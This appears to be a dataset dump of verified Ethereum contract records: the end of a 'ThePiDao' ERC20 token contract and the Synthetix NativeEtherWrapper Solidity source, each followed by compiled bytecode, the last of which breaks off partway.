_allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract ThePiDao is PiERC20 { constructor() PiERC20("ThePiDao", "Pi") { _mint(msg.sender, 3140*10**8*10**18); } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d71461024f578063a9059cbb1461027f578063dd62ed3e146102af578063f2fde38b146102df576100ea565b8063715018a6146102095780638da5cb5b1461021357806395d89b4114610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063313ce5671461018b57806339509351146101a957806370a08231146101d9576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102fb565b6040516101049190611255565b60405180910390f35b6101276004803603810190610122919061102f565b61038d565b604051610134919061123a565b60405180910390f35b6101456103ab565b6040516101529190611397565b60405180910390f35b61017560048036038101906101709190610fdc565b6103b5565b604051610182919061123a565b60405180910390f35b6101936104b6565b6040516101a091906113b2565b60405180910390f35b6101c360048036038101906101be919061102f565b6104bf565b6040516101d0919061123a565b60405180910390f35b6101f360048036038101906101ee9190610f6f565b61056b565b6040516102009190611397565b60405180910390f35b6102116105b4565b005b61021b6106ee565b604051610228919061121f565b60405180910390f35b610239610717565b6040516102469190611255565b60405180910390f35b6102696004803603810190610264919061102f565b6107a9565b604051610276919061123a565b60405180910390f35b6102996004803603810190610294919061102f565b61089d565b6040516102a6919061123a565b60405180910390f35b6102c960048036038101906102c49190610f9c565b6108bb565b6040516102d69190611397565b60405180910390f35b6102f960048036038101906102f49190610f6f565b610942565b005b60606004805461030a906114fb565b80601f0160208091040260200160405190810160405280929190818152602001828054610336906114fb565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b60006103a161039a610aeb565b8484610af3565b6001905092915050565b6000600354905090565b60006103c2848484610cbe565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040d610aeb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561048d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610484906112f7565b60405180910390fd5b6104aa85610499610aeb565b85846104a5919061143f565b610af3565b60019150509392505050565b60006012905090565b60006105616104cc610aeb565b8484600260006104da610aeb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055c91906113e9565b610af3565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105bc610aeb565b73ffffffffffffffffffffffffffffffffffffffff166105da6106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611317565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610726906114fb565b80601f0160208091040260200160405190810160405280929190818152602001828054610752906114fb565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b600080600260006107b8610aeb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90611377565b60405180910390fd5b610892610880610aeb565b85858461088d919061143f565b610af3565b600191505092915050565b60006108b16108aa610aeb565b8484610cbe565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61094a610aeb565b73ffffffffffffffffffffffffffffffffffffffff166109686106ee565b73ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b590611317565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590611297565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90611357565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca906112b7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cb19190611397565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2590611337565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9590611277565b60405180910390fd5b610da9838383610f40565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e27906112d7565b60405180910390fd5b8181610e3c919061143f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ece91906113e9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f329190611397565b60405180910390a350505050565b505050565b600081359050610f5481611842565b92915050565b600081359050610f6981611859565b92915050565b600060208284031215610f8557610f8461158b565b5b6000610f9384828501610f45565b91505092915050565b60008060408385031215610fb357610fb261158b565b5b6000610fc185828601610f45565b9250506020610fd285828601610f45565b9150509250929050565b600080600060608486031215610ff557610ff461158b565b5b600061100386828701610f45565b935050602061101486828701610f45565b925050604061102586828701610f5a565b9150509250925092565b600080604083850312156110465761104561158b565b5b600061105485828601610f45565b925050602061106585828601610f5a565b9150509250929050565b61107881611473565b82525050565b61108781611485565b82525050565b6000611098826113cd565b6110a281856113d8565b93506110b28185602086016114c8565b6110bb81611590565b840191505092915050565b60006110d36023836113d8565b91506110de826115a1565b604082019050919050565b60006110f66026836113d8565b9150611101826115f0565b604082019050919050565b60006111196022836113d8565b91506111248261163f565b604082019050919050565b600061113c6026836113d8565b91506111478261168e565b604082019050919050565b600061115f6028836113d8565b915061116a826116dd565b604082019050919050565b60006111826020836113d8565b915061118d8261172c565b602082019050919050565b60006111a56025836113d8565b91506111b082611755565b604082019050919050565b60006111c86024836113d8565b91506111d3826117a4565b604082019050919050565b60006111eb6025836113d8565b91506111f6826117f3565b604082019050919050565b61120a816114b1565b82525050565b611219816114bb565b82525050565b6000602082019050611234600083018461106f565b92915050565b600060208201905061124f600083018461107e565b92915050565b6000602082019050818103600083015261126f818461108d565b905092915050565b60006020820190508181036000830152611290816110c6565b9050919050565b600060208201905081810360008301526112b0816110e9565b9050919050565b600060208201905081810360008301526112d08161110c565b9050919050565b600060208201905081810360008301526112f08161112f565b9050919050565b6000602082019050818103600083015261131081611152565b9050919050565b6000602082019050818103600083015261133081611175565b9050919050565b6000602082019050818103600083015261135081611198565b9050919050565b60006020820190508181036000830152611370816111bb565b9050919050565b60006020820190508181036000830152611390816111de565b9050919050565b60006020820190506113ac6000830184611201565b92915050565b60006020820190506113c76000830184611210565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113f4826114b1565b91506113ff836114b1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114345761143361152d565b5b828201905092915050565b600061144a826114b1565b9150611455836114b1565b9250828210156114685761146761152d565b5b828203905092915050565b600061147e82611491565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156114e65780820151818401526020810190506114cb565b838111156114f5576000848401525b50505050565b6000600282049050600182168061151357607f821691505b602082108114156115275761152661155c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61184b81611473565b811461185657600080fd5b50565b611862816114b1565b811461186d57600080fd5b5056fea2646970667358221220b2df890cc373eac22dcf5253fc11e941e0c03c4871434c72e8320de555e9886364736f6c63430008070033
{"success": true, "error": null, "results": {}}
7,612
0x7A3d898b717e50a96fd8b232E9d15F0A547A7eeb
/** *Submitted for verification at Etherscan.io on 2021-05-13 */ /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: NativeEtherWrapper.sol * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/NativeEtherWrapper.sol * Docs: https://docs.synthetix.io/contracts/NativeEtherWrapper * * Contract Dependencies: * - IAddressResolver * - MixinResolver * - Owned * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getSynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } interface IWETH { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // WETH-specific functions. function deposit() external payable; function withdraw(uint amount) external; // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Deposit(address indexed to, uint amount); event Withdrawal(address indexed to, uint amount); } // https://docs.synthetix.io/contracts/source/interfaces/ietherwrapper contract IEtherWrapper { function mint(uint amount) external; function burn(uint amount) external; function distributeFees() external; function capacity() external view returns (uint); function getReserves() external view returns (uint); function totalIssuedSynths() external view returns (uint); function calculateMintFee(uint amount) public view returns (uint); function calculateBurnFee(uint amount) public view returns (uint); function maxETH() public view returns (uint256); function mintFeeRate() public view returns (uint256); function burnFeeRate() public view returns (uint256); function weth() public view returns (IWETH); } // https://docs.synthetix.io/contracts/source/interfaces/isynth interface ISynth { // Views function currencyKey() external view returns (bytes32); function transferableSynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Synthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.synthetix.io/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // https://docs.synthetix.io/contracts/source/interfaces/iissuer interface IIssuer { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function canBurnSynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint); function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to Synthetix function issueSynths(address from, uint amount) external; function issueSynthsOnBehalf( address issueFor, address from, uint amount ) external; function issueMaxSynths(address from) external; function issueMaxSynthsOnBehalf(address issueFor, address from) external; function burnSynths(address from, uint amount) external; function burnSynthsOnBehalf( address burnForAddress, address from, uint amount ) external; function burnSynthsToTarget(address from) external; function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external; function liquidateDelinquentAccount( address account, uint susdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getSynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.synths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); } // solhint-disable payable-fallback // https://docs.synthetix.io/contracts/source/contracts/readproxy contract ReadProxy is Owned { address public target; constructor(address _owner) public Owned(_owner) {} function setTarget(address _target) external onlyOwner { target = _target; emit TargetUpdated(target); } function() external { // The basics of a proxy read call // Note that msg.sender in the underlying will always be the address of this contract. assembly { calldatacopy(0, 0, calldatasize) // Use of staticcall - this will revert if the underlying function mutates state let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) if iszero(result) { revert(0, returndatasize) } return(0, returndatasize) } } event TargetUpdated(address newTarget); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name))); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } // @unsupported: ovm // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/nativeetherwrapper contract NativeEtherWrapper is Owned, MixinResolver { bytes32 private constant CONTRACT_ETHER_WRAPPER = "EtherWrapper"; bytes32 private constant CONTRACT_SYNTHSETH = "SynthsETH"; constructor(address _owner, address _resolver) public Owned(_owner) MixinResolver(_resolver) {} /* ========== PUBLIC FUNCTIONS ========== */ /* ========== VIEWS ========== */ function resolverAddressesRequired() public view returns (bytes32[] memory addresses) { bytes32[] memory addresses = new bytes32[](2); addresses[0] = CONTRACT_ETHER_WRAPPER; addresses[1] = CONTRACT_SYNTHSETH; return addresses; } function etherWrapper() internal view returns (IEtherWrapper) { return IEtherWrapper(requireAndGetAddress(CONTRACT_ETHER_WRAPPER)); } function weth() internal view returns (IWETH) { return etherWrapper().weth(); } function synthsETH() internal view returns (IERC20) { return IERC20(requireAndGetAddress(CONTRACT_SYNTHSETH)); } /* ========== MUTATIVE FUNCTIONS ========== */ function mint() public payable { uint amount = msg.value; require(amount > 0, "msg.value must be greater than 0"); // Convert sent ETH into WETH. weth().deposit.value(amount)(); // Approve for the EtherWrapper. weth().approve(address(etherWrapper()), amount); // Now call mint. etherWrapper().mint(amount); // Transfer the sETH to msg.sender. synthsETH().transfer(msg.sender, synthsETH().balanceOf(address(this))); emit Minted(msg.sender, amount); } function burn(uint amount) public { require(amount > 0, "amount must be greater than 0"); IWETH weth = weth(); // Transfer sETH from the msg.sender. synthsETH().transferFrom(msg.sender, address(this), amount); // Approve for the EtherWrapper. synthsETH().approve(address(etherWrapper()), amount); // Now call burn. etherWrapper().burn(amount); // Convert WETH to ETH and send to msg.sender. weth.withdraw(weth.balanceOf(address(this))); // solhint-disable avoid-low-level-calls msg.sender.call.value(address(this).balance)(""); emit Burned(msg.sender, amount); } function() external payable { // Allow the WETH contract to send us ETH during // our call to WETH.deposit. The gas stipend it gives // is 2300 gas, so it's not possible to do much else here. } /* ========== EVENTS ========== */ // While these events are replicated in the core EtherWrapper, // it is useful to see the usage of the NativeEtherWrapper contract. event Minted(address indexed account, uint amount); event Burned(address indexed account, uint amount); }
0x6080604052600436106100915760003560e01c806353a47bb71161005957806353a47bb714610152578063741853601461016757806379ba50971461017c578063899ffef4146101915780638da5cb5b146101f657610091565b806304f3bcec146100935780631249c58b146100c45780631627540c146100cc5780632af64bd3146100ff57806342966c6814610128575b005b34801561009f57600080fd5b506100a861020b565b604080516001600160a01b039092168252519081900360200190f35b61009161021a565b3480156100d857600080fd5b50610091600480360360208110156100ef57600080fd5b50356001600160a01b031661051c565b34801561010b57600080fd5b50610114610578565b604080519115158252519081900360200190f35b34801561013457600080fd5b506100916004803603602081101561014b57600080fd5b5035610683565b34801561015e57600080fd5b506100a86109c2565b34801561017357600080fd5b506100916109d1565b34801561018857600080fd5b50610091610b99565b34801561019d57600080fd5b506101a6610c55565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101e25781810151838201526020016101ca565b505050509050019250505060405180910390f35b34801561020257600080fd5b506100a8610ccc565b6002546001600160a01b031681565b348061026d576040805162461bcd60e51b815260206004820181905260248201527f6d73672e76616c7565206d7573742062652067726561746572207468616e2030604482015290519081900360640190fd5b610275610cdb565b6001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156102af57600080fd5b505af11580156102c3573d6000803e3d6000fd5b50505050506102d0610cdb565b6001600160a01b031663095ea7b36102e6610d4e565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561033657600080fd5b505af115801561034a573d6000803e3d6000fd5b505050506040513d602081101561036057600080fd5b5061036b9050610d4e565b6001600160a01b031663a0712d68826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156103b057600080fd5b505af11580156103c4573d6000803e3d6000fd5b505050506103d0610d6d565b6001600160a01b031663a9059cbb336103e7610d6d565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561043c57600080fd5b505afa158015610450573d6000803e3d6000fd5b505050506040513d602081101561046657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156104b757600080fd5b505af11580156104cb573d6000803e3d6000fd5b505050506040513d60208110156104e157600080fd5b505060408051828152905133917f30385c845b448a36257a6a1716e6ad2e1bc2cbe333cde1e69fe849ad6511adfe919081900360200190a250565b610524610d84565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b60006060610584610c55565b905060005b81518110156106795760008282815181106105a057fe5b6020908102919091018101516000818152600383526040908190205460025482516321f8a72160e01b81526004810185905292519395506001600160a01b03918216949116926321f8a721926024808201939291829003018186803b15801561060857600080fd5b505afa15801561061c573d6000803e3d6000fd5b505050506040513d602081101561063257600080fd5b50516001600160a01b031614158061065f57506000818152600360205260409020546001600160a01b0316155b156106705760009350505050610680565b50600101610589565b5060019150505b90565b600081116106d8576040805162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b60006106e2610cdb565b90506106ec610d6d565b604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b0392909216916323b872dd916064808201926020929091908290030181600087803b15801561074457600080fd5b505af1158015610758573d6000803e3d6000fd5b505050506040513d602081101561076e57600080fd5b506107799050610d6d565b6001600160a01b031663095ea7b361078f610d4e565b846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156107df57600080fd5b505af11580156107f3573d6000803e3d6000fd5b505050506040513d602081101561080957600080fd5b506108149050610d4e565b6001600160a01b03166342966c68836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561085957600080fd5b505af115801561086d573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516001600160a01b0385169350632e1a7d4d925083916370a08231916024808301926020929190829003018186803b1580156108bf57600080fd5b505afa1580156108d3573d6000803e3d6000fd5b505050506040513d60208110156108e957600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b15801561092957600080fd5b505af115801561093d573d6000803e3d6000fd5b5050604051339250479150600081818185875af1925050503d8060008114610981576040519150601f19603f3d011682016040523d82523d6000602084013e610986565b606091505b50506040805184815290513392507f696de425f79f4a40bc6d2122ca50507f0efbeabbff86a84871b7196ab8ea8df79181900360200190a25050565b6001546001600160a01b031681565b60606109db610c55565b905060005b8151811015610b955760008282815181106109f757fe5b602090810291909101810151600254604080517f5265736f6c766572206d697373696e67207461726765743a2000000000000000818601526039808201859052825180830390910181526059820180845263dacb2d0160e01b9052605d8201858152607d83019384528151609d84015281519597506000966001600160a01b039095169563dacb2d01958995939492939260bd0191908501908083838c5b83811015610aad578181015183820152602001610a95565b50505050905090810190601f168015610ada5780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b158015610af857600080fd5b505afa158015610b0c573d6000803e3d6000fd5b505050506040513d6020811015610b2257600080fd5b505160008381526003602090815260409182902080546001600160a01b0319166001600160a01b03851690811790915582518681529182015281519293507f88a93678a3692f6789d9546fc621bf7234b101ddb7d4fe479455112831b8aa68929081900390910190a150506001016109e0565b5050565b6001546001600160a01b03163314610be25760405162461bcd60e51b8152600401808060200182810382526035815260200180610eb46035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6040805160028082526060808301845292839291906020830190803883390190505090506b22ba3432b92bb930b83832b960a11b81600081518110610c9657fe5b602002602001018181525050680a6f2dce8d0e68aa8960bb1b81600181518110610cbc57fe5b6020908102919091010152905090565b6000546001600160a01b031681565b6000610ce5610d4e565b6001600160a01b0316633fc8cef36040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1d57600080fd5b505afa158015610d31573d6000803e3d6000fd5b505050506040513d6020811015610d4757600080fd5b5051905090565b6000610d686b22ba3432b92bb930b83832b960a11b610dcf565b905090565b6000610d68680a6f2dce8d0e68aa8960bb1b610dcf565b6000546001600160a01b03163314610dcd5760405162461bcd60e51b815260040180806020018281038252602f815260200180610ee9602f913960400191505060405180910390fd5b565b600081815260036020908152604080832054815170026b4b9b9b4b7339030b2323932b9b99d1607d1b9381019390935260318084018690528251808503909101815260519093019091526001600160a01b03169081610eac5760405162461bcd60e51b